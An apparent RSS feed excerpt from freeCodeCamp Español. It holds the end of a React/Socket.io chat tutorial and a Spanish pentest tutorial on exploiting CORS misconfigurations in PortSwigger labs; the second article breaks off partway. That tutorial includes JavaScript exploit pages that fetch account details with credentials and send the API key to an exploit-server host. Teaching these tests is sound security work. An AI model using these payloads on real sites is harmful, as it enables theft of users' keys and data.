</code></pre><!--kg-card-begin: html--><h2 id="como-mostrar-sala-y-usuarios">Cómo mostrar la Sala y los Usuarios (A)</h2><!--kg-card-end: html--><p>Hemos hecho los componentes B y C, así que terminemos todo al hacer A.</p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2022/07/image-248.png" class="kg-image" alt="The chat page split into three components" width="600" height="400" loading="lazy"></figure><p>En el servidor, cuando un usario se une a una sala, emitimos un evento <code>chatroomusers</code> que envía todos los usuarios de la sala a todos los clientes en esa sala. Escuchemos ese evento en un componente llamado <em>RoomAndUsers</em>.</p><p>Abajo, también hay un botón "Leave" que, cuando se presiona, hace la emisión de un evento <code>leaveroom</code> al servidor. Luego redirecciona el usuario devuelta a la página principal.</p><pre><code class="language-js">// client/src/pages/chat/room-and-users.js

import styles from './styles.module.css';
import { useState, useEffect } from 'react';
import { useNavigate } from 'react-router-dom';

const RoomAndUsers = ({ socket, username, room }) =&gt; {
  const [roomUsers, setRoomUsers] = useState([]);

  const navigate = useNavigate();

  useEffect(() =&gt; {
    socket.on('chatroom_users', (data) =&gt; {
      console.log(data);
      setRoomUsers(data);
    });

    return () =&gt; socket.off('chatroom_users');
  }, [socket]);

  const leaveRoom = () =&gt; {
    const __createdtime__ = Date.now();
    socket.emit('leave_room', { username, room, __createdtime__ });
    // Redirecciona a la pagina principal
    navigate('/', { replace: true });
  };

  return (
    &lt;div className={styles.roomAndUsersColumn}&gt;
      &lt;h2 className={styles.roomTitle}&gt;{room}&lt;/h2&gt;

      &lt;div&gt;
        {roomUsers.length &gt; 0 &amp;&amp; &lt;h5 className={styles.usersTitle}&gt;Users:&lt;/h5&gt;}
        &lt;ul className={styles.usersList}&gt;
          {roomUsers.map((user) =&gt; (
            &lt;li
              style={{
                fontWeight: `${user.username === username ? 'bold' : 'normal'}`,
              }}
              key={user.id}
            &gt;
              {user.username}
            &lt;/li&gt;
          ))}
        &lt;/ul&gt;
      &lt;/div&gt;

      &lt;button className='btn btn-outline' onClick={leaveRoom}&gt;
        Leave
      &lt;/button&gt;
    &lt;/div&gt;
  );
};

export default RoomAndUsers;
</code></pre><p>Importemos este componente en la página <em>Chat</em>:</p><pre><code class="language-js">// client/src/pages/chat/index.js

import styles from './styles.module.css';
import RoomAndUsersColumn from './room-and-users'; // Add this
import SendMessage from './send-message';
import MessagesReceived from './messages';

const Chat = ({ username, room, socket }) =&gt; {
  return (
    &lt;div className={styles.chatContainer}&gt;
      {/* Agrega esto */}
      &lt;RoomAndUsersColumn socket={socket} username={username} room={room} /&gt;

      &lt;div&gt;
        &lt;MessagesReceived socket={socket} /&gt;
        &lt;SendMessage socket={socket} username={username} room={room} /&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  );
};

export default Chat;
</code></pre><!--kg-card-begin: html--><h2 id="como-quitar-un-usuario-de-sala-socketio">Cómo quitar a un Usuarío de una sala de Socket.io</h2><!--kg-card-end: html--><p>Socket.io provee un método <code>leave()</code> que puedes usar para quitar a un usuario de una sala de Socket.io. También estamos manteniendo un registro de nuestros usuarios en un arreglo en la memoria del servidor, así que quitaremos al usuario de ese arreglo también:</p><pre><code class="language-js">// server/index.js

const leaveRoom = require('./utils/leave-room'); // Add this

// ...

// Escucha cuando el cliente se conecta a través de socket.io-client
io.on('connection', (socket) =&gt; {

  // ...

  // Agrega esto
  socket.on('leave_room', (data) =&gt; {
    const { username, room } = data;
    socket.leave(room);
    const __createdtime__ = Date.now();
    // Quita a un usuario de la memoria
    allUsers = leaveRoom(socket.id, allUsers);
    socket.to(room).emit('chatroom_users', allUsers);
    socket.to(room).emit('receive_message', {
      username: CHAT_BOT,
      message: `${username} has left the chat`,
      __createdtime__,
    });
    console.log(`${username} has left the chat`);
  });
});

server.listen(4000, () =&gt; 'El Servidor se está ejecutando en el puerto 3000');
</code></pre><p>Ahora necesitamos crear la función <code>leaveRoom()</code>:</p><pre><code class="language-js">// server/utils/leave-room.js

function leaveRoom(userID, chatRoomUsers) {
  return chatRoomUsers.filter((user) =&gt; user.id != userID);
}

module.exports = leaveRoom;
</code></pre><p>¿Por qué poner esta función corta en una carpeta <code>utils</code> aparte, te preguntas? Porque lo estaremos usando luego y no queremos repetirnos (mantenemos nuestro código <a href="https://es.wikipedia.org/wiki/No_te_repitas">DRY</a>). </p><p>Probémoslo, abre dos ventanas lado a lado, y únete a ambos chats:</p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2022/07/image-266.png" class="kg-image" alt="Two windows chatting in realtime." width="600" height="400" loading="lazy"></figure><p>Luego haz clic en el botón leave en la ventana 2:</p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2022/07/image-267.png" class="kg-image" alt="The user is removed from the chat when they click the Leave button" width="600" height="400" loading="lazy"></figure><p>El usuario se quita del chat, y un mensaje se envía a los otros usuarios – notificándolos que se ha ido. ¡Bien!</p><!--kg-card-begin: html--><h2 id="como-agregar-escucha-evento-disconnect">Cómo agregar el Escucha de Evento Disconnect de Socket.io</h2><!--kg-card-end: html--><p>¿Qué pasa si el usuario de alguna manera se desconecta del servidor, como si su internet se cayera? Socket.io provee un escucha de evento adjunto <code>disconnects</code> para esto. Agreguémosle a nuestro servidor para quitar a un usuario de la memoria cuando se desconecta:</p><pre><code class="language-js">// server/index.js

// ...

// Escucha cuando el cliente se conecta a través de socket.io-client
io.on('connection', (socket) =&gt; {

  // ...

  // Agrega esto
  socket.on('disconnect', () =&gt; {
    console.log('El usuario se desconectó del chat');
    const user = allUsers.find((user) =&gt; user.id == socket.id);
    if (user?.username) {
      allUsers = leaveRoom(socket.id, allUsers);
      socket.to(chatRoom).emit('chatroom_users', allUsers);
      socket.to(chatRoom).emit('receive_message', {
        message: `${user.username} se ha desconectado del chat.`,
      });
    }
  });
});

server.listen(4000, () =&gt; 'El Servidor se está ejecutando en el puerto 3000');
</code></pre><p>Y ahí lo tienes – haz construido una aplicación de chat de tiempo real fullstack con un frontend de React, un backend de Node/Express, y una base de datos de HarperDB. ¡Buen trabajo!</p><p>Para la próxima, planeo en revisar nuestras <a href="https://harperdb.io/docs/custom-functions/">Funciones Personalizadas de HarperDB</a>, el cual permite a los usuarios definir sus propios endpoints de API dentro de HarperDB. Esto significa que podemos construir nuestra aplicación completa, ¡en un sólo lugar! Mira un ejemplo de cómo HarperDB está colapsando el stack <a href="https://www.harperdb.io/post/mean-stack-alternative">en este artículo</a>.</p><h2 id="un-desaf-o-para-ti-"><strong>Un desafío para ti 💪</strong></h2><p>Si refrescas la página Chat, el nombre de usuario del usuario y la sala desaparecerán. Mira si puedes prevenir que esta información se pierda cuando el usuario refresque la página. Pista: ¡el <a href="https://www.w3schools.com/html/html5_webstorage.asp">local storage</a> podría ser útil!</p><h2 id="-gracias-por-leer-"><strong>¡Gracias<strong><strong> </strong></strong>por<strong><strong> </strong></strong>leer<strong><strong>!</strong></strong></strong></h2><p>Si te pareció útil este artículo, puedes:</p><ul><li><a href="https://www.youtube.com/channel/UC0URylW_U4i26wN231yRqvA">Suscribirte a mi canal de YouTube</a>. Estaré subiendo tutoriales en profunidad y vídeos de proyectos sobre React/NextJS/Node/Express.</li><li><a href="https://twitter.com/doabledanny">Sígueme en Twitter</a> donde comparto tweets sobre mi jornada de freelancing, proyectos propios, y aprendizajes actuales.</li><li><a href="https://doabledanny.gumroad.com/">Revisa mi almacén de Gumroad</a> donde hago hojas de trucos y pósteres útiles y populares (8000 descargas al tiempo de escribir).</li><li><a href="https://www.doabledanny.com/blog/">Revisa mi blog</a></li></ul> ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Explotación de CORS: Cómo probar vulnerabilidades de recursos compartidos entre orígenes ]]>
                </title>
                <description>
                    <![CDATA[ Todos los navegadores web implementan un modelo de seguridad conocido como  Política de Mismo Origen (SOP - Same-Origin Policy). Esto restringe a los dominios que accedan y recuperen datos de otros recursos de dominios.  La política SOP ayuda en proteger a los usuarios de scripts maliciosos que podrían ]]>
                </description>
                <link>https://www.freecodecamp.org/espanol/news/explotacion-de-cors-como-probar-vulnerabilidades/</link>
                <guid isPermaLink="false">67520098728f02043f05f94d</guid>
                
                    <category>
                        <![CDATA[ Ciberseguridad ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cors ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Elias Ezequiel Pereyra Gomez ]]>
                </dc:creator>
                <pubDate>Tue, 10 Dec 2024 17:18:52 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/espanol/news/content/images/2024/12/possessed-photography-_E1PQXKUkMw-unsplash--4-.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Todos los navegadores web implementan un modelo de seguridad conocido como <strong>Política de Mismo Origen (SOP - Same-Origin Policy)</strong>. Esto restringe a los dominios que accedan y recuperen datos de otros recursos de dominios. </p><p>La política SOP ayuda en proteger a los usuarios de scripts maliciosos que podrían acceder a datos sensibles o realizar acciones no autorizados en su nombre.</p><p>Por ejemplo, si <code><strong>business.com</strong></code> intenta realizar una solicitud HTTP a <code><strong>metrics.com</strong></code>, el navegador, por defecto, bloqueará la solicitud porque viene de un distinto dominio.</p><p>Por mucho que el SOP suene como una política de protección apropiada, no escala bien con las tecnologías de hoy en día que dependen uno del otro para operar. Por ejemplo, presenta desafíos a las APIs y microservicios que tienen casos de uso legítimos para acceder y compartir información entre dominios.</p><p>Por casos como este, hubo una necesidad para un nuevo mecanismo de seguridad que permitiría interacciones entre dominios. Es conocido como <strong>Intercambio de Recursos entre Orígenes</strong> (<strong>CORS</strong> en inglés).</p><p>Este artículo cubrirá lo básico de cómo funciona CORS e identificar vulnerabilidades comunes que pueden ocurrir cuando no implementas CORS correctamente. Aprenderemos cómo probar y explotar las configuraciones erróneas de esa forma al final de esta guía, tendrás un mejor entendimiento de cómo probar y validar para CORS durante una prueba de penetración (pentest).</p><p>Usaré los laboratorios (entornos) CORS de Port Swigger para demostrar la prueba y pasos de explotación.</p><h2 id="tabla-de-contenido"><strong><strong>Tabl</strong>a<strong> </strong>de<strong> C</strong>ontenido</strong></h2><ul><li>¿<a href="#que-es-cors">Qué es la Política de Origen entre Sitios (CORS)?</a></li><li><a href="#impacto-configuraciones-erroneas-cors">Impacto de las Configuraciones erróneas de CORS</a></li><li><a href="#identificar-cors">Cómo identificar CORS</a></li><li><a href="#casos-explotable-cors">Casos explotables de CORS</a></li><li><a href="#caso-inexplotable-comodin">Caso inexplotable</a></li><li><a href="#mitigaciones">Mitigaciones</a></li><li><a href="#recursos">Recursos</a></li></ul><!--kg-card-begin: html--><h2 id="que-es-cors">¿Qué es la Política de Origen entre Sitios (CORS)?</h2><!--kg-card-end: html--><p><strong>CORS</strong> es una característica de seguridad creada para relajar selectivamente las restricciones de SOP y permitir acceso controlado a recursos de distintos dominios. Las reglas de CORS permiten a los dominios especificar qué dominios pueden solicitar información de ellos al agregar cabeceras de HTTP específicas en la respuesta.</p><p>Hay varias cabeceras de HTTP relacionadas a CORS, pero estamos interesados en los dos que se relacionan a las vulnerabilidades vistas comúnmente – <code><strong>Access-Control-Allow-Origin</strong></code> y <code><strong>Access-Control-Allow-Credentials</strong></code>.</p><p><strong><strong>Access-Control-Allow-Origin:</strong> </strong>Esta cabecera especifica que los dominios permitidos lean el contenido de la respuesta. El valor puede ser un caracter comodín <code>(<strong>*</strong>)</code>, el cual indica que todos los dominios están permitidos, o lista de dominios separados por coma.</p><pre><code class="language-js">#Todos los dominios están permitidos
Access-Control-Allow-Origin: *   


#Lista de dominios separados por coma
Access-Control-Allow-Origin: example.com, metrics.com
</code></pre><p><strong><strong>Access-Control-Allow-Credentials</strong></strong>: Esta cabecera determina si el dominio permite pasar credenciales — tales como cookies o cabeceras de autorización en las solicitudes entre origen.</p><p>El valor de la cabecera es True o False. Si la cabecera es puesto a "true", el dominio permite enviar credenciales. Si se pone a "false," o no es incluido en la respuesta, entonces no se le permite.</p><pre><code class="language-js">#Permite pasar credenciales en las solicitudes
Access-Control-Allow-Credentials: true

#No permite pasarlos en las solicitudes
Access-Control-Allow-Credentials: false
</code></pre><!--kg-card-begin: html--><h2 id="impacto-configuraciones-erroneas-cors">Impacto de las Configuraciones erróneas de CORS</h2><!--kg-card-end: html--><p>Las Configuraciones erróneas de CORS pueden tener un impacto significativo en la seguridad de aplicaciones web. Abajo están las implicaciones principales:</p><ul><li><strong>Robo de Datos<strong>:</strong></strong> Los atacantes pueden usar las vulnerabilidades de CORS para robar datos sensibles de aplicaciones como claves API, claves SSH, Información Personal Identificable (PII), o credenciales de usuarios.</li><li><strong>Secuencias de comandos entre sitios <strong>(XSS)</strong></strong>: Los atacantes pueden usar las vulnerabilidades de CORS para realizar ataques XSS al inyectar scripts maliciosos en páginas web para robar tokens de sesión o realizar acciones no autorizados en el nombre del usuario.</li><li><strong>Ejecución de Código <strong>Remot</strong>o<strong> </strong></strong>en algunos casos (caso de <a href="https://quitten.github.io/StackStorm/">StackStorm</a>)</li></ul><!--kg-card-begin: html--><h2 id="identificar-cors">Cómo identificar CORS</h2><!--kg-card-end: html--><p>Cuando se prueba una aplicación para CORS, verificamos si cualquiera de las respuestas de la aplicación contienen las cabeceras de CORS. Podemos usar la funcionalidad de búsqueda en Burp Suite para buscar las cabeceras rápidamente.</p><p>En el ejemplo de abajo, busqué la cabecera <code><strong>Access-Control-Allow-Credentials</strong></code> y obtuve tres (3) respuestas. Una vez que las cabeceras son identificadas, podemos seleccionar las solicitudes y enviarlos al Repetidor para una análisis más detallado.</p><figure class="kg-card kg-image-card"><img src="https://miro.medium.com/v2/resize:fit:1678/1*73ksv0ZrBWRf8dQZ7TliOg.png" class="kg-image" alt="Image" width="1017" height="695" loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="https://miro.medium.com/v2/resize:fit:1574/1*FVD7mLNMgvsdWa5XVV9MSA.png" class="kg-image" alt="Image" width="954" height="704" loading="lazy"></figure><p><em><em><em><em>Figur</em></em></em>a<em><em><em>s 1 &amp; 2 </em></em></em>muestran la funcionalidad de búsqueda e<em><em><em>n Burp Suite </em></em></em>para buscar las cabeceras de<em><em><em> CORS.</em></em></em></em></p><p>Para identificar los problemas de CORS, podemos modificar la cabecera Origin en las solicitudes con múltiples valores y ver qué cabeceras de respuesta obtenemos de la aplicación. Hay cuatros (4) formas conocidas para hacer esto, los cuales veremos ahora.</p><h3 id="1-or-gines-reflejados"><strong><strong>1. Orígin</strong>e<strong>s</strong> Reflejados</strong></h3><p>Poner la cabecera Origin en la solicitud a un dominio arbitrario, tales como <code><strong>https://attackersdomain.com</strong></code>, y verificar la cabecera <code><strong>Access-Control-Allow-Origin</strong></code> en la respuesta. Si refleja el dominio exacto que supliste en la solicitud, significa que el dominio no filtra para ningún origen. </p><p>El riesgo de esta configuración errónea es alta si el dominio permite que las credenciales se pasan en las solicitudes. Podemos validar que al verificar si la cabecera <code><strong>Access-Control-Allow-Credentials</strong></code> también está incluida en la respuesta y es puesta a <code><strong>true</strong></code>.</p><p>Sin embargo, el riesgo es bajo si el pasar credenciales no está permitido, ya que el navegador no procesará las respuestas de solicitudes no autenticados.</p><p>📌 Para explotar orígenes reflejados, verificar la sección de explotación — Caso #1.</p><figure class="kg-card kg-image-card"><img src="https://miro.medium.com/v2/resize:fit:1155/1*pKnCmYc30pYH0jyBFhmcDw.png" class="kg-image" alt="Figure 3 — shows the value of the Origin header included in the Access-Control-Allow-Origin header. r3dbuck3t #cors #websecurity" width="1049" height="580" loading="lazy"></figure><p><em><em><em><em>Figur</em></em></em>a<em><em><em> 3 — </em></em></em>muestra<em><em><em> </em></em></em>el valor<em><em><em> </em></em></em>de la cabecera<em><em><em> Origin </em></em></em>incluido<em><em><em> </em></em></em>en la cabecera<em><em><em> Access-Control-Allow-Origin.</em></em></em></em></p><h3 id="2-or-genes-modificados"><strong><strong>2. Oríg</strong>e<strong>n</strong>e<strong>s</strong> Modificados</strong></h3><p>Poner la cabecera Origin a un valor que coincida con el dominio objetivo, pero agregar un prefijo o sufijo al dominio para verificar si hay cualquier validación sobre los inicios o finales del dominio.</p><p>Si no hay controles, podemos crear un dominio coincidente similar que elude la política de CORS en el dominio de destino. Por ejemplo, agregando un prefijo o sufijo al dominio <code><strong>metrics.com</strong></code> sería algo como <code><strong>attackmetrics.com</strong></code> o <code><strong>metrics.com.attack.com</strong></code>.</p><p>El riesgo de esta configuración errónea es considerado alto si el dominio permite pasar credenciales con la cabecera <code><strong>Access-Control-Allow-Credentials</strong></code> se ponga a <strong>true</strong>. El atacante puede crear un dominio de coincidente similar y recuperar información sensible del dominio de destino.</p><p>Pero el riesgo sería bajo si las solicitudes no autenticados no estuvieran permitidos.</p><p>📌 Para explotar orígenes modificados, verifica la sección de explotación — Caso #1.</p><h3 id="3-subdominios-de-confianza-con-protocolo-inseguro"><strong><strong>3. </strong>Subdominios de confianza<strong> </strong>con Protocolo Inseguro</strong></h3><p>Poner la cabecera Origin a un subdominio existente y ver si lo acepta. Si lo hace, significa que el dominio confía a todos sus subdominios. Esto no es una buena idea si uno de los subdominios tiene una vulnerabilidad de Secuencia de comandos entre Sitios (XSS), permitirá al atacante que inyecte un payload de JS malicioso y realizar acciones no autorizados.</p><p>Esta configuración errónea se considera de alto riesgo el dominio acepta subdominios con un protocolo inseguro, tales como HTTP, y la cabecera credencial se pone a <strong>true</strong>. De lo contrario, no será explotable y sería solamente una implementación pobre de CORS.</p><p>📌 Para explotar subdominios de confianza, verifica la sección de expltación — Caso #3.</p><figure class="kg-card kg-image-card"><img src="https://miro.medium.com/v2/resize:fit:1155/1*XDNb4TzErgfuuQzqYUv12w.png" class="kg-image" alt="Figure 4 — shows the application accepts arbitrary insecure subdomains. https://medium.com/r3d-buck3t — #cors #websecurity #web" width="1155" height="493" loading="lazy"></figure><p><em><em><em><em>Figur</em></em></em>a<em><em><em> 4 — </em></em></em>muestra<em><em><em> </em></em></em>la aplicación<em><em><em> acept</em></em></em>a<em><em><em> </em></em></em>subdominios inseguros arbitrarios<em><em><em>.</em></em></em></em></p><h3 id="4-or-gen-null"><strong><strong>4. Oríg</strong>e<strong>n</strong> Null</strong></h3><p>Pon la cabecera Origin al valor null – <code><strong>Origin: null</strong></code>, y ve si la aplicación pone la cabecera <code><strong>Access-Control-Allow-Origin</strong></code> a <strong>null</strong>. Si lo hace, significa que los orígenes null están en la lista blanca.</p><p>El nivel de riesgo es considerado alto si el dominio permite solicitudes autenticados con la cabecera <code><strong>Access-Control-Allow-Credentials</strong></code> puesto a <code><strong>true</strong></code><strong><strong>.</strong></strong></p><p>Pero si no lo hace, entonces el problema es considerado bajo, y no explotable.</p><p>📌 Para explotar los Orígenes Null, verifica la sección explotación – Caso #2.</p><figure class="kg-card kg-image-card"><img src="https://miro.medium.com/v2/resize:fit:1155/1*jyqdCfY0J_s0ebH50WrIhA.png" class="kg-image" alt="Figure 5 — shows the application accepted the null value and returned it in the response. #pentesting #cors #bugbounty https://medium.com/r3d-buck3t" width="1155" height="657" loading="lazy"></figure><p><em><em><em><em>Figur</em></em></em>a<em><em><em> 5 — </em></em></em>muestra que<em><em><em> </em></em></em>la<em><em><em> </em></em></em>aplicación<em><em><em> </em></em></em>aceptó<em><em><em> </em></em></em>el valor<em><em><em> null </em></em></em>y<em><em><em> </em></em></em>lo regresó<em><em><em> </em></em></em>en la respuesta<em><em><em>.</em></em></em></em></p><!--kg-card-begin: html--><h2 id="casos-explotable-cors">Casos explotables de CORS</h2><!--kg-card-end: html--><p>En esta sección, veremos cómo explotar las configuraciones erróneas de CORS al categorizarlos como casos de prueba para una fácil comprensión.</p><h3 id="caso-1-origen-reflejado"><strong><strong>Cas</strong>o<strong> 1: Orig</strong>e<strong>n</strong> Reflejado</strong></h3><p>La aplicación es consideraba vulnerable cuando pone el <strong><strong>Access-Control-Allow-Origin</strong> </strong>al dominio que fue suplido por el atacante y permite pasar credenciales con el <strong><strong>Access-Control-Allow-Credentials</strong> </strong>puesto a <strong>true</strong>.</p><pre><code class="language-js">Access-Control-Allow-Origin: http://attacker-domain.com
Access-Control-Allow-Credentials: true
</code></pre><figure class="kg-card kg-image-card"><img src="https://miro.medium.com/v2/resize:fit:1155/1*pKnCmYc30pYH0jyBFhmcDw.png" class="kg-image" alt="Figure 3 — shows the value of the Origin header included in the Access-Control-Allow-Origin header. r3dbuck3t #cors #websecurity" width="1049" height="580" loading="lazy"></figure><p><em><em><em><em>Figur</em></em></em>a<em><em><em> 6 — </em></em></em>muestra<em><em><em> </em></em></em>las cabeceras de<em><em><em> CORS</em></em></em> para orígen reflejado<em><em><em>.</em></em></em></em></p><p>La explotación requiere que el atacante aloje el script de JS en un servidor externo para que sea accesible al usuario. Luego tienen que crear una página HTML, incrustar el script de JS abajo, y enviarlo al usuario.</p><pre><code class="language-html">&lt;html&gt;
  &lt;body&gt;
    &lt;script&gt;

    #Inicializa el objeto XMLHttpRequest, y la variable URL de la aplicacion 
        var req = new XMLHttpRequest();
        var url = ("APPLICATION URL");

    #El objeto MLHttpRequest carga, ejecuta la función reqListener()
      req.onload = retrieveKeys;

    #Realiza la solicitud GET a la ubicación accounDetails de la aplicacion
        req.open('GET', url + "/accountDetails",true);

    #Permite pasar credenciales con las solicitudes
    req.withCredentials = true;

    #Envía la solicitud
        req.send(null);

    function retrieveKeys() {
            location='/log?key='+this.responseText;
        };

  &lt;/script&gt;
  &lt;body&gt;
&lt;/html&gt;
</code></pre><p>Una vez que el usuario vistia la página alojada, automáticamente enviará una solicitud de CORS para recuperar información sobre el usuario de la ubicación especificado en el script. Entender la estructura de la aplicación y donde almacena su información sensible es esencial para este paso.</p><p>El script de arriba comienza con inicializar el objeto (XHR)<strong> <code>XMLHttpRequest</code></strong> que instruya al navegador web que transferiremos datos al y desde el servidor web usando el protocolo HTTP. XHR es una API del navegador que permite a los lenguajes del lado del cliente tales como JavaScript que realice solicitudes HTTP a un servidor y reciba sus respuestas de forma dinámica sin requerir que el usuario refresque la página.</p><p>Luego, le decimos al objeto que ejecute una función llamada <strong><strong><code>retrieveKeys</code></strong> </strong>que solicite la clave API del admin y nos envíe la respuesta cuando cargue.</p><p>Después, hacemos una solicitud GET especificando la ubicación del cual queremos obtener información y pasar nuestras credenciales con la función <code>Credentials</code> puesto a true.</p><p>La solicitud automáticamente será bloqueada y denegada si el servidor de la aplicación no permite pasar credenciales entre dominios. Pero sabemos que esto no sucederá aquí porque el <strong><code>Access-Control-Allow-Credentials</code></strong> está puesto a <strong>true</strong>.</p><p>Para demostrar cómo funciona el script, usaré el servidor de exploits PortSwigger el cual está disponible con el laboratorio para alojar el script de arriba.</p><p>Inicia sesión en la aplicación, haz clic en <strong><strong>“Go to exploit server,”</strong> </strong>y pega el script en el body (cuerpo). Luego haz clic en “<strong><strong>Deliver exploit to victim.”</strong> </strong>En un escenario real, necesitas enviar el enlace al usuario e intentar atraerlos para que le hagan clic.</p><figure class="kg-card kg-image-card"><img src="https://miro.medium.com/v2/resize:fit:1505/1*hIfdCKiIogCOquzGVz686w.png" class="kg-image" alt="Image" width="912" height="663" loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="https://miro.medium.com/v2/resize:fit:1888/1*svwpXxlVZpxpqiRQV8u_hg.png" class="kg-image" alt="Image" width="1144" height="628" loading="lazy"></figure><p><em><em><em><em>Figur</em></em></em>a<em><em><em>s 7 &amp; 8 — </em></em></em>muestra<em><em><em> </em></em></em>el proceso<em><em><em> </em></em></em>de alojar<em><em><em> </em></em></em>el payload de<em><em><em> JS </em></em></em>y<em><em><em> </em></em></em>entregarlo<em><em><em> </em></em></em>al usuario<em><em><em>.</em></em></em></em></p><p>Después de repartir el exploit, haz clic en <strong><strong>“Access log”</strong> </strong>y deberías ser capaz de ver la clave API del admin capturado en los logs. Copia la cadena que tiene la clave y pégalo en <strong>Decoder </strong>de Burp Suite y decodifícalo como una URL para recuperar el valor cleartext.</p><figure class="kg-card kg-image-card"><img src="https://miro.medium.com/v2/resize:fit:2584/1*2zq3p_IKD032TRHZdZPURA.png" class="kg-image" alt="Image" width="1566" height="566" loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="https://miro.medium.com/v2/resize:fit:1787/1*5NNTx2nk9eLKT1fATokzCw.png" class="kg-image" alt="Image" width="1083" height="634" loading="lazy"></figure><p><em><em><em><em>Figur</em></em></em>a<em><em><em>s 9 &amp; 10 — </em></em></em>muestran la clave API del<em><em><em> admin </em></em></em>en los<em><em><em> logs </em></em></em>y el valor de la clave en texto plano<em><em><em> </em></em></em>en el<em><em><em> Decoder.</em></em></em></em></p><h3 id="caso-2-origen-null"><strong><strong>Cas</strong>o<strong> 2: Or</strong>i<strong>g</strong>e<strong>n</strong> Null</strong></h3><p>La aplicación es considerada vulnerable cuando pone el <strong><strong>Access-Control-Allow-Origin</strong> </strong>al valor <strong>null</strong> y permite pasar credenciales con el <strong><strong><code>Access-Control-Allow-Credentials</code></strong> </strong>puesto a <strong>true</strong>.</p><pre><code class="language-js">Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
</code></pre><figure class="kg-card kg-image-card"><img src="https://miro.medium.com/v2/resize:fit:1155/1*jyqdCfY0J_s0ebH50WrIhA.png" class="kg-image" alt="Figure 5 — shows the application accepted the null value and returned it in the response. #pentesting #cors #bugbounty https://medium.com/r3d-buck3t" width="1155" height="657" loading="lazy"></figure><p><em><em><em><em>Figur</em></em></em>a<em><em><em> 11 — </em></em></em>muestra<em><em><em> </em></em></em>que el servidor de la aplicación<em><em><em> acept</em></em></em>a<em><em><em> </em></em></em>orígenes <em><em><em>null.</em></em></em></em></p><p>La explotación requiere que el archivo script de JS que hospedemos sea accesible al usuario objetivo (<em>lo mismo que en el caso #1</em>). Nuevamente, usaremos el mismo script – solo esta vez, agregaremos un sandbox iframe para recuperar la clave API. La propiedad sandbox pone el origen del frame a null así podemos poner la cabecera Origin al valor null. </p><pre><code class="language-html">&lt;html&gt;
    &lt;body&gt;
        &lt;iframe style="display: none;" sandbox="allow-scripts" srcdoc="
        &lt;script&gt;
            var req = new XMLHttpRequest();
            var url = 'APPLICATION URL'
            req.onload = retrieveKeys;

            req.open('GET', url + '/accountDetails', true);
            req.withCredentials = true;
            req.send(null);

           function retrieveKeys() {
               fetch('https://Exolit_Server_Hostname/log?key=' + req.responseText)
            }
        &lt;/script&gt;"&gt;&lt;/iframe&gt;
    &lt;/body&gt;
&lt;/html&gt;
</code></pre><p>Cuando el usuario autenticado hace clic en nuestro enlace <code><strong>http://192.168.1.14:5555/cors_null_poc.html</strong></code>, obtendremos la clave API de los detalles de la cuenta. Pero siendo que nuestro usuario no es un administrador, no seremos capaz de recuperar la clave API del administrador.</p><p>El punto de mostrar los pasos de abajo es que durante una evaluación de prueba de una aplicación web, como un tester, se te dará las cuentas de usuario regular y administrador para probarlos. En esos casos, sigues los pasos de abajo para mostrar tu prueba de concepta al hospedar el archivo de forma local. O, por supuesto, puedes hospedar el archivo de forma externa como una opción alternativa.</p><figure class="kg-card kg-image-card"><img src="https://miro.medium.com/v2/resize:fit:2412/1*a4Qtndhg7lDtOUriDT6CWA.png" class="kg-image" alt="Image" width="1462" height="622" loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="https://miro.medium.com/v2/resize:fit:1916/1*MgEzSTxHOyF2oZQ1yNftnQ.png" class="kg-image" alt="Image" width="1161" height="691" loading="lazy"></figure><p><em>Figuras 12 &amp; 13</em> — muestra que el valor null se agrega a la cabecera de la solicitud, y el usuario accedió a la página cors_null<em><em>poc.</em></em></p><figure class="kg-card kg-image-card"><img src="https://miro.medium.com/v2/resize:fit:1155/1*ppYb-xcA4Fx-Doh3vw62HQ.png" class="kg-image" alt="Figure 14 — shows the user’s account details when clicking the link. https://medium.com/r3d-buck3t #cors #web #pentesting" width="1155" height="388" loading="lazy"></figure><p><em><em><em><em>Figur</em></em></em>a<em><em><em> 14 — </em></em></em>muestra los detalles de la cuenta de usuario cuando se hace clic al enlace<em><em><em>.</em></em></em></em></p><h3 id="caso-3-subdominios-confiables"><strong><strong>Cas</strong>o<strong> 3: </strong>Subdominios Confiables </strong></h3><p>La aplicación es considerada vulnerable cuando se pone <strong><strong>Access-Control-Allow-Origin</strong> </strong>a cualquiera de sus subdominios y se permite credenciales con <strong><strong>Access-Control-Allow-Credentials</strong> </strong>puesto a <strong>true</strong>.</p><p>La explotación de este caso es dependiente en si el subdominio existente es vulnerable a los ataques XSS para permitir al atacante que abuse de la configuración errónea.</p><pre><code class="language-js">Access-Control-Allow-Origin: subdomainattacker.example.com
Access-Control-Allow-Credentials: true
</code></pre><figure class="kg-card kg-image-card"><img src="https://miro.medium.com/v2/resize:fit:1155/1*a-Fvk06eJoyL-9W9Oo5lvQ.png" class="kg-image" alt="Figure 15 — shows the domain accepts its subdomains’ origins. https://medium.com/r3d-buck3t #cors #web #pentesting #hacking" width="1155" height="523" loading="lazy"></figure><p><em><em><em><em>Figur</em></em></em>a<em><em><em> 15 — </em></em></em>muestra<em><em><em> </em></em></em>que el domino<em><em><em> ac</em></em></em>epta<em><em><em> </em></em></em>sus orígenes de los subdominios<em><em><em>.</em></em></em></em></p><p>Su te encuentras este escenario, necesitas verificar todos los subdominios existentes e intentar de encontrar una con una vulnerabilidad de XSS para explotarlo.</p><p>En el laboratorio Port Swigger #3, la aplicación confía que su subdominio – <strong>stock</strong> – es vulnerable a ataques de XSS en el parámetro <strong><code>ProductId=</code></strong>.</p><figure class="kg-card kg-image-card"><img src="https://miro.medium.com/v2/resize:fit:2082/1*HBCf3Iwa82ZAB0Frlll_pA.png" class="kg-image" alt="Image" width="1262" height="515" loading="lazy"></figure><figure class="kg-card kg-image-card"><img 